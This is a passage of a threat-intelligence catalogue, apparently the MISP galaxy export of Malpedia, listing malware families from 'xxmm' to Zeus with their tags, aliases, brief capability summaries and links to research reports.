https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4
https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/
https://www.sentinelone.com/labs/nullbulge-threat-actor-masquerades-as-hacktivist-group-rebelling-against-ai/
https://github.com/VenzoV/MalwareAnalysisReports/blob/main/XWormShellcode/Packer%20Shellcode%20Delivering%20XWorm.md
https://youtu.be/tenNFzM-MM0
https://redcanary.com/blog/threat-detection/network-traffic-tunneling/
https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/
https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/steganoamor-campaign-ta558-mass-attacking-companies-and-public-institutions-all-around-the-world/
https://securityintelligence.com/x-force/hive0137-on-ai-journey/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/proton66-part-2-compromised-wordpress-pages-and-malware-campaigns/
https://malwaretrace.net/posts/xworm-part-1/
https://kienmanowar.wordpress.com/2024/09/12/quicknote-the-xworm-malware-is-being-spread-through-a-phishing-email/
https://www.securonix.com/blog/securonix-threat-labs-security-meme4chan-advisory/

https://hunt.io/blog/hunting-and-collecting-malware-via-open-directories-part-1
https://medium.com/@b.magnezi/malware-analysis-xworm-80b3bbb072fb
https://www.kroll.com/en/publications/cyber/xworm-returns-haunt-systems-ghost-crypt
https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://sarviyamalwareanalyst.medium.com/xworm-attack-chain-leveraging-steganography-from-phishing-email-to-keylogging-via-c2-communication-f3a4c91dfd06
https://x.com/embee_research/status/1694635899903152619
https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/
https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla
https://hunt.io/blog/pasteee-xworm-asyncrat-infrastructure
https://medium.com/@0xzyadelzyat/xworm-malware-analysis-soc-ir-perspective-on-persistence-c2-and-anti-analysis-tactics-ed41d335b2ce
https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/
https://youtu.be/ln23TT9PcmI
https://cyber.wtf/2025/02/12/unpacking-pyarmor-v8-scripts/
https://malwaretrace.net/posts/xworm-part-2/
https://unit42.paloaltonetworks.com/nodestealer-2-targets-facebook-business/
https://logpoint.com/en/blog/xworm-rat-analysis-steal-persist-control
https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape
https://www.youtube.com/watch?v=tenNFzM-MM0
https://www.trellix.com/blogs/research/xworm-v6-exploring-pivotal-plugins/
https://hunt.io/blog/uncovering-threat-actor-tactics-xworm-delivery-strategies
https://cert.pl/en/posts/2023/10/deworming-the-xworm/

xxmm

The tag is: *misp-galaxy:malpedia="xxmm"*

xxmm is also known as:

- ShadowWalker

Table 5653. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf

https://jsac.jpcert.or.jp/archive/2019/pdf/JSAC2019_8_nakatsuru_en.pdf
https://www.cybereason.com/blog/labs-shadowwali-new-variant-of-the-xxmm-family-of-backdoors
https://www.secureworks.com/research/threat-profiles/bronze-butler
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses
https://www.macnica.net/mpressioncss/feature_05.html/
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/

X-ZIGZAG

The author of X-ZIGZAG claims that it is a lightweight and stealthy Windows Remote Access Trojan (RAT) designed for educational purposes.

The tag is: *misp-galaxy:malpedia="X-ZIGZAG"*

X-ZIGZAG is also known as:

Table 5654. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.x_zigzag
https://www.linkedin.com/feed/update/urn:li:activity:7252248385007603713/
https://github.com/X-ZIGZAG/X-ZIGZAG

Yahoyah

The tag is: *misp-galaxy:malpedia="Yahoyah"*

Yahoyah is also known as:

- KeyBoy

Table 5655. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yahoyah
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/

Yakuza

Ransomware.

The tag is: *misp-galaxy:malpedia="Yakuza"*

Yakuza is also known as:

- Teslarvng Ransomware

Table 5656. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yakuza_ransomware
https://id-ransomware.blogspot.com/2020/03/teslarvng-ransomware.html

YamaBot

The tag is: *misp-galaxy:malpedia="YamaBot"*

YamaBot is also known as:

- Kaos

Table 5657. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yamabot
https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html?m=1
https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF
https://www.youtube.com/watch?v=nUjxH1gW53s
https://blogs.jpcert.or.jp/en/2022/07/yamabot.html
https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html

Yanluowang

According to PCrisk, Yanluowang is ransomware that encrypts (and renames) files, ends all running processes, stops services, and creates the "README.txt" file containing a ransom note. It appends the ".yanluowang" extension to filenames. Cybercriminals behind Yanluowang are targeting enterprise entities and organizations in the financial sector.

Files encrypted by Yanluowang can be decrypted with this tool (it is possible to decrypt all files if the original file is larger than 3GB. If the original file is smaller than 3GB, then only smaller files can be decrypted).

The tag is: *misp-galaxy:malpedia="Yanluowang"*

Yanluowang is also known as:

- Dryxiphia

Table 5658. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yanluowang
https://de.darktrace.com/blog/inside-the-yanluowang-leak-organization-members-and-tactics
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-targeted-ransomware
https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html
https://twitter.com/CryptoInsane/status/1586967110504398853
https://github.com/albertzsigovits/malware-notes/tree/master/Ransomware-Windows-Yanluowang
https://therecord.media/the-yanluowang-ransomware-group-in-their-own-words/
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-yanluowang-ransomware-victims/
https://securelist.com/how-to-recover-files-encrypted-by-yanlouwang/106332/

YaRAT

According to PTSecurity, this RAT uses Yandex Disk as a C2.

The tag is: *misp-galaxy:malpedia="YaRAT"*

YaRAT is also known as:

Table 5659. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yarat
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks

Yarraq

Yarraq is a ransomware that encrypts files by using asymmetric keys and adding '.yarraq' as extension to the end of filenames. At the time of writing the attacker asks for $2000 ransom in order to provide a decryptor, to enable victims to restore their original files back. To communicate with the attacker the email: cyborgyarraq@protonmail.ch is provided.

The tag is: *misp-galaxy:malpedia="Yarraq"*

Yarraq is also known as:

Table 5660. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.yarraq
https://twitter.com/GrujaRS/status/1210541690349662209
https://yomi.yoroi.company/report/5e1d7b06c21640608183de58/5e1d7b09d1cc4993da62f261/overview

Yasso

According to Palo Alto Networks, Yasso is an open source multi-platform intranet-assisted penetration toolset that brings together a number of features such as scanning, brute forcing, remote interactive shell, and running arbitrary commands. It is authored by a Mandarin-speaking pentester nicknamed Sairson.

The tag is: *misp-galaxy:malpedia="Yasso"*

Yasso is also known as:

Table 5661. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yasso
https://nattothoughts.substack.com/p/reconnaissance-scanning-tools-used
https://www.paloaltonetworks.com/blog/security-operations/through-the-cortex-xdr-lens-uncovering-a-new-activity-group-targeting-governments-in-the-middle-east-and-africa/

Yatron

The tag is: *misp-galaxy:malpedia="Yatron"*

Yatron is also known as:

Table 5662. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yatron
https://securelist.com/ransomware-two-pieces-of-good-news/93355/

yayih

The tag is: *misp-galaxy:malpedia="yayih"*

yayih is also known as:

- aumlib
- bbsinfo

Table 5663. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yayih
https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html

Yellow Cockatoo RAT

The tag is: *misp-galaxy:malpedia="Yellow Cockatoo RAT"*

Yellow Cockatoo RAT is also known as:

- Polazer

Table 5664. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yellow_cockatoo
https://redcanary.com/blog/yellow-cockatoo/
https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf

YESROBOT

The tag is: *misp-galaxy:malpedia="YESROBOT"*

YESROBOT is also known as:

Table 5665. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yesrobot
https://cloud.google.com/blog/topics/threat-intelligence/new-malware-russia-coldriver

YiBackdoor

The tag is: *misp-galaxy:malpedia="YiBackdoor"*

YiBackdoor is also known as:

Table 5666. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yibackdoor
https://www.zscaler.com/blogs/security-research/yibackdoor-new-malware-family-links-icedid-and-latrodectus

Ymir

According to Kaspersky, this malware sticks out as performing a large set of operations in memory with the help of the malloc, memmove and memcmp function calls.

The tag is: *misp-galaxy:malpedia="Ymir"*

Ymir is also known as:

Table 5667. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ymir
https://securelist.com/new-ymir-ransomware-found-in-colombia/114493/

Yoddos

The tag is: *misp-galaxy:malpedia="Yoddos"*

Yoddos is also known as:

Table 5668. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yoddos
https://www.bitdefender.com/files/News/CaseStudies/study/271/Bitdefender-Whitepaper-Scranos-2.pdf

Yokai

The tag is: *misp-galaxy:malpedia="Yokai"*

Yokai is also known as:

Table 5669. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yokai
https://www.netskope.com/blog/new-yokai-side-loaded-backdoor-targets-thai-officials
https://www.ibm.com/think/x-force/hive0154-drops-updated-toneshell-backdoor

YoreKey

The tag is: *misp-galaxy:malpedia="YoreKey"*

YoreKey is also known as:

Table 5670. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yorekey
https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-threat-insight-paper-triple-threat-N-Korea-aligned-TA406-steals-scams-spies.pdf
https://www.proofpoint.com/us/blog/threat-insight/triple-threat-north-korea-aligned-ta406-scams-spies-and-steals

YoungLotus

Simple malware with proxy/RDP and download capabilities. It often comes bundled with installers, in particular in the Chinese realm.

PE timestamps suggest that it came into existence in the second half of 2014.

Some versions perform checks of the status of the internet connection (InternetGetConnectedState: MODEM, LAN, PROXY), some versions perform simple AV process-checks (CreateToolhelp32Snapshot).

The tag is: *misp-galaxy:malpedia="YoungLotus"*

YoungLotus is also known as:

- DarkShare

Table 5671. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus
https://www.youtube.com/watch?v=AUGxYhE_CUY

YourCyanide

According to Trend Micro, this is a ransomware written as a Windows commandline script, with obfuscation applied.

The tag is: *misp-galaxy:malpedia="YourCyanide"*

YourCyanide is also known as:

- GonnaCope
- Kekpop
- Kekware

Table 5672. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.your_cyanide
https://www.trendmicro.com/en_us/research/22/f/yourcyanide-a-cmd-based-ransomware.html

YTStealer

According to Intezer, YTStealer is a malware whose objective is to steal YouTube authentication cookies. As a stealer, it operates like many other stealers. The first thing it does when it's executed is to perform some environment checks. This is to detect if the malware is being analyzed in a sandbox.

The tag is: *misp-galaxy:malpedia="YTStealer"*

YTStealer is also known as:

Table 5673. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ytstealer
https://www.intezer.com/blog/research/ytstealer-malware-youtube-cookies/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/

yty

The tag is: *misp-galaxy:malpedia="yty"*

yty is also known as:

Table 5674. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yty
https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/
https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/
https://www.secureworks.com/research/threat-profiles/zinc-emerson
https://threatrecon.nshc.net/2019/08/02/sectore02-updates-yty-framework-in-new-targeted-campaign-against-pakistan-government/
http://blog.ptsecurity.com/2019/11/studying-donot-team.html
https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/
https://www.amnesty.org/en/wp-content/uploads/2021/10/AFR5747562021ENGLISH.pdf

Yunsip

W32/Yunsip!tr.pws is classified as a password stealing trojan. Password Stealing Trojan searches

the infected system for passwords and send them to the hacker.

The tag is: *misp-galaxy:malpedia="Yunsip"*

Yunsip is also known as:

Table 5675. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.yunsip
https://www.fortiguard.com/encyclopedia/virus/3229143

Z3

Ransomware.

The tag is: *misp-galaxy:malpedia="Z3"*

Z3 is also known as:

- Z3enc Ransomware

Table 5676. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.z3
https://id-ransomware.blogspot.com/2020/08/z3-ransomware.html

Zacinlo

Bitdefender describes the primary features of the family as follows: Presence of a rootkit driver that protects itself as well as its other components, presence of man-in-the-browser capabilities that intercepts and decrypts SSL communications, and presence of an adware cleanup routine used to remove potential competition in the adware space. It also communicates with its C&C server, sending environment information such as installed AV and other applications. The malware also takes screenshots and does browser redirects, potentially manipulating the DOM tree. It also creates traffic in hidden windows, likely causing adfraud. The malware is generally very configurable and internally makes use of Lua scripts.

The tag is: *misp-galaxy:malpedia="Zacinlo"*

Zacinlo is also known as:

- s5mark

Table 5677. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zacinlo

https://labs.bitdefender.com/wp-content/uploads/downloads/six-years-and-counting-inside-the-complex-zacinlo-ad-fraud-operation/

ZarDoor

The tag is: *misp-galaxy:malpedia="ZarDoor"*

ZarDoor is also known as:

Table 5678. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zardoor
https://blog.talosintelligence.com/new-zardoor-backdoor/

Zebrocy

According to brandefense, Zebrocy is malware that falls into the Trojan category, which the threat actor group APT28/Sofacy has used since 2015. Zebrocy malware consists of 3 main components; Backdoor, Downloader, and Dropper. The Downloader and Dropper take responsibility for discovery processes and downloading the main malware on the systems. At the same time, Backdoor undertakes the duties such as persistence in the system, espionage, and data extraction.

This malware, which is not considered new, has variants in many languages from the past to the present. These include programming languages such as Delphi, C#, Visual C++, VB.net, and Golang. Furthermore, we know advanced threat actors and groups revise their malicious software among their toolkits at certain time intervals using different languages and technologies.

The tag is: *misp-galaxy:malpedia="Zebrocy"*

Zebrocy is also known as:

- Zekapab

Table 5679. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy
https://mp.weixin.qq.com/s/6R7bFs9lH1I3BNdkatCC9g
https://www.accenture.com/us-en/blogs/blogs-snakemackerel-delivers-zekapab-malware
https://www.vkremez.com/2018/12/lets-learn-dissecting-apt28sofacy.html
https://research.checkpoint.com/malware-against-the-c-monoculture/
https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/
https://securelist.com/zebrocys-multilanguage-malware-salad/90680/
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/

https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://unit42.paloaltonetworks.com/sandbox-evasion-memory-detection/
https://meltx0r.github.io/tech/2019/10/24/apt28.html
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/
https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://securelist.com/greyenergys-overlap-with-zebrocy/89506/
https://unit42.paloaltonetworks.com/sofacy-creates-new-go-variant-of-zebrocy-tool/
https://www.vkremez.com/2018/12/lets-learn-reviewing-sofacys-zebrocy-c.html
https://unit42.paloaltonetworks.com/atoms/fighting-ursa/
https://securelist.com/apt-trends-report-q2-2019/91897/
https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf
https://mp.weixin.qq.com/s/pE_6VRDk-2aTI996sff0og
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government
https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/
https://securelist.com/a-zebrocy-go-downloader/89419/
https://www.bleepingcomputer.com/news/security/russian-hackers-use-fake-nato-training-docs-to-breach-govt-networks/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://www.welivesecurity.com/2019/09/24/no-summer-vacations-zebrocy/
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b
https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/
https://brandefense.io/zebrocy-malware-technical-analysis-report/

Zebrocy (AutoIT)

The tag is: *misp-galaxy:malpedia="Zebrocy (AutoIT)"*

Zebrocy (AutoIT) is also known as:

Table 5680. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zebrocy_au3
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/

Zedhou

The tag is: *misp-galaxy:malpedia="Zedhou"*

Zedhou is also known as:

Table 5681. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zedhou

zenar

The tag is: *misp-galaxy:malpedia="zenar"*

zenar is also known as:

Table 5682. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zenar
https://twitter.com/3xp0rtblog/status/1387996083712888832?s=20

Zeoticus

The tag is: *misp-galaxy:malpedia="Zeoticus"*

Zeoticus is also known as:

Table 5683. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeoticus
https://labs.sentinelone.com/zeoticus-2-0-ransomware-with-no-c2-required/

Zeppelin

Zeppelin is a ransomware written in Delphi and sold a as-a-service. The Cylance research team

notes that it is a clear evolution of the known VegaLocker, but they assessed it as a new family becaue of additionally developed modules that makes Zeppelin much more configurable than Vegalocker. There are executable variants of type DLL and EXE.

The tag is: *misp-galaxy:malpedia="Zeppelin"*

Zeppelin is also known as:

Table 5684. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeppelin
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf
https://community.riskiq.com/article/47766fbd
https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group/
https://storage.pardot.com/272312/124918/Flashpoint_Hunt_Team_Zeppelin_Ransomware_Analysis.pdf
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://www.gdatasoftware.com/blog/2020/06/35946-burans-transformation-into-zeppelin
https://www.cisa.gov/uscert/ncas/alerts/aa22-223a
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.intrinsec.com/vice-society-spreads-its-own-ransomware/
https://threatvector.cylance.com/en_us/home/zeppelin-russian-ransomware-targets-high-profile-users-in-the-us-and-europe.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-249a
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-223A_Zeppelin_CSA.pdf

ZeroAccess

ZeroAccess is a modular botnet that was primarily active around 2012. It has been observed selling fake antivirus software to infected users, performing click fraud and deploying bitcoin miners. It

utilizes both peer-to-peer networking and a centralized C&C, spoofing the HTTP Host header with fake DGA-generated domains to confuse researchers. While there is no evidence that the DGA-generated domains were ever intentonally contacted by the malware, faulty middleboxes still caused some requests to be sent to the DGA domains.

The tag is: *misp-galaxy:malpedia="ZeroAccess"*

ZeroAccess is also known as:

- Max++
- Sirefef
- Smiscer
- ZAccess

Table 5685. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess
http://resources.infosecinstitute.com/zeroaccess-malware-part-4-tracing-the-crimeware-origins-by-reversing-injected-code/
https://docs.broadcom.com/doc/zeroaccess-indepth-13-en
https://www.virusbulletin.com/virusbulletin/2016/01/paper-notes-click-fraud-american-story/
https://blog.malwarebytes.com/threat-analysis/2013/07/zeroaccess-anti-debug-uses-debugger/
http://contagiodump.blogspot.com/2012/12/zeroaccess-sirefef-rootkit-5-fresh.html
https://malwaretips.com/attachments/zeroaccess_analysis-pdf.606/
https://www.researchgate.net/profile/Lorenzo-De-Carli/publication/320250366_Botnet_protocol_inference_in_the_presence_of_encrypted_traffic/links/5fa9608792851cc286a08592/Botnet-protocol-inference-in-the-presence-of-encrypted-traffic.pdf?origin=publication_detail
https://blog.malwarebytes.com/threat-analysis/2013/08/sophos-discovers-zeroaccess-using-rlo/
http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-zeroaccessmaxsmiscer-crimeware-rootkit/
http://contagiodump.blogspot.com/2010/11/zeroaccess-max-smiscer-crimeware.html
http://resources.infosecinstitute.com/zeroaccess-malware-part-3-the-device-driver-process-injection-rootkit/
http://resources.infosecinstitute.com/zeroaccess-malware-part-2-the-kernel-mode-device-driver-stealth-rootkit/

ZeroCleare

ZeroCleare is a destructive malware. It has been developed in order to wipe the master boot record section in order to damage a disk's partitioning. Attackers use the EldoS RawDisk driver to perform the malicious action, which is not a signed driver and would therefore not runnable by default. The

attackers managed to install it by using a vulnerable version of VBoxDrv driver, which the DSE accepts and runs. Used to attack middle-east energy and industrial sectors.

The tag is: *misp-galaxy:malpedia="ZeroCleare"*

ZeroCleare is also known as:

Table 5686. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zerocleare
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://www.microsoft.com/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government
https://www.ibm.com/downloads/cas/OAJ4VZNJ
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/

ZeroEvil

ZeroEvil is a malware that seems to be distributed by an ARSguarded VBS loader.

It first connects to a gate.php (version=). Upon success, an embedded VBS gets started connecting to logs_gate.php (plugin=, report=). So far, only one embedded VBS was observed: it creates and starts a PowerShell script to retrieve all password from the Windows.Security.Credentials.PasswordVault. Apart from that, a screenshot is taken and a list of running processes generated.

The ZeroEvil executable contains multiple DLLs, sqlite3.dll, ze_core.DLL (Mutex) and ze_autorun.DLL (Run-Key).

The tag is: *misp-galaxy:malpedia="ZeroEvil"*

ZeroEvil is also known as:

Table 5687. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroevil
https://www.blueliv.com/blog-news/research/ars-loader-evolution-zeroevil-ta545-airnaine/

ZeroLocker

The tag is: *misp-galaxy:malpedia="ZeroLocker"*

ZeroLocker is also known as:

Table 5688. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zerolocker
http://stopmalvertising.com/malware-reports/introduction-to-the-zerolocker-ransomware.html

Zeropadypt

The tag is: *misp-galaxy:malpedia="Zeropadypt"*

Zeropadypt is also known as:

- Ouroboros

Table 5689. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeropadypt
https://www.pcrisk.com/removal-guides/16844-harma-ouroboros-ransomware

ZeroT

The tag is: *misp-galaxy:malpedia="ZeroT"*

ZeroT is also known as:

Table 5690. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zerot
https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx

Zeus

According to CrowdStrike, The two primary goals of the Zeus trojan horse virus are stealing people's financial information and adding machines to a botnet. Unlike many types of malware, most Zeus variants try to avoid doing long-term damage to the devices they infect. Their aim is to avoid detection from antivirus software.

The tag is: *misp-galaxy:malpedia="Zeus"*

Zeus is also known as:

- Zbot

Table 5691. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus
http://malwareint.blogspot.com/2009/07/special-zeus-botnet-for-dummies.html
http://eternal-todo.com/blog/detecting-zeus
https://unit42.paloaltonetworks.com/banking-trojan-techniques/
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group
https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf
http://malwareint.blogspot.com/2010/02/zeus-on-irs-scam-remains-actively.html
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
http://contagiodump.blogspot.com/2010/07/zeus-trojan-research-links.html
https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/
https://www.secureworks.com/research/threat-profiles/gold-evergreen
https://www.symantec.com/connect/blogs/brief-look-zeuszbot-20
https://www.symantec.com/connect/blogs/spyeye-s-kill-zeus-bark-worse-its-bite
https://www.secureworks.com/research/zeus?threat=zeus
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/zeus_king_of_bots.pdf
https://www.justice.gov/opa/pr/foreign-national-pleads-guilty-role-cybercrime-schemes-involving-tens-millions-dollars
https://www.secureworks.com/research/threat-profiles/bronze-woodland
https://www.cisecurity.org/insights/blog/top-10-malware-march-2022
http://contagiodump.blogspot.com/2010/07/zeus-version-scheme-by-trojan-author.html
https://www.wired.com/2017/03/russian-hacker-spy-botnet/
http://eternal-todo.com/blog/new-zeus-binary
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
https://www.nrc.nl/nieuws/2021/04/02/the-cesspool-of-the-internet-is-to-be-found-in-a-village-in-north-holland-a4038369
https://www.anomali.com/files/white-papers/russian-federation-country-profile.pdf
https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html
https://securelist.com/financial-cyberthreats-in-2020/101638/
http://www.secureworks.com/research/threat-profiles/gold-evergreen
https://www.bleepingcomputer.com/news/security/zeus-icedid-malware-gangs-leader-pleads-guilty-faces-40-years-in-prison/

https://www.crowdstrike.com/cybersecurity-101/malware/trojan-zeus-malware
https://krebsonsecurity.com/2022/11/top-zeus-botnet-suspect-tank-arrested-in-geneva/
https://blog.malwarebytes.com/101/2021/07/the-life-and-death-of-the-zeus-trojan/
https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals
https://www.s21sec.com/en/zeus-the-missing-link/
https://nakedsecurity.sophos.com/2010/07/24/sample-run/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
http://malwareint.blogspot.com/2010/01/leveraging-zeus-to-send-spam-through.html
https://www.mnin.org/write/ZeusMalware.pdf
https://www.kryptoslogic.com/blog/2021/07/trickbot-and-zeus/
https://www.youtube.com/watch?v=LUxOcpIRxmg
http://malwareint.blogspot.com/2010/03/new-phishing-campaign-against-facebook.html
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
http://eternal-todo.com/blog/zeus-spreading-facebook
http://malwareint.blogspot.com/2010/02/facebook-phishing-campaign-proposed-by.html
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/
http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html

ZeusAction

The tag is: *misp-galaxy:malpedia="ZeusAction"*

ZeusAction is also known as:

Table 5692. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_action
https://twitter.com/benkow_/status/1136983062699487232
https://www.youtube.com/watch?v=EyDiIAtdI

Zeus MailSniffer

The tag is: *misp-galaxy:malpedia="Zeus MailSniffer"*

Zeus MailSniffer is also known as:

Table 5693. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_mailsniffer

Zeus OpenSSL

This family describes the Zeus-variant that includes a version of OpenSSL and usually is downloaded by Zloader.

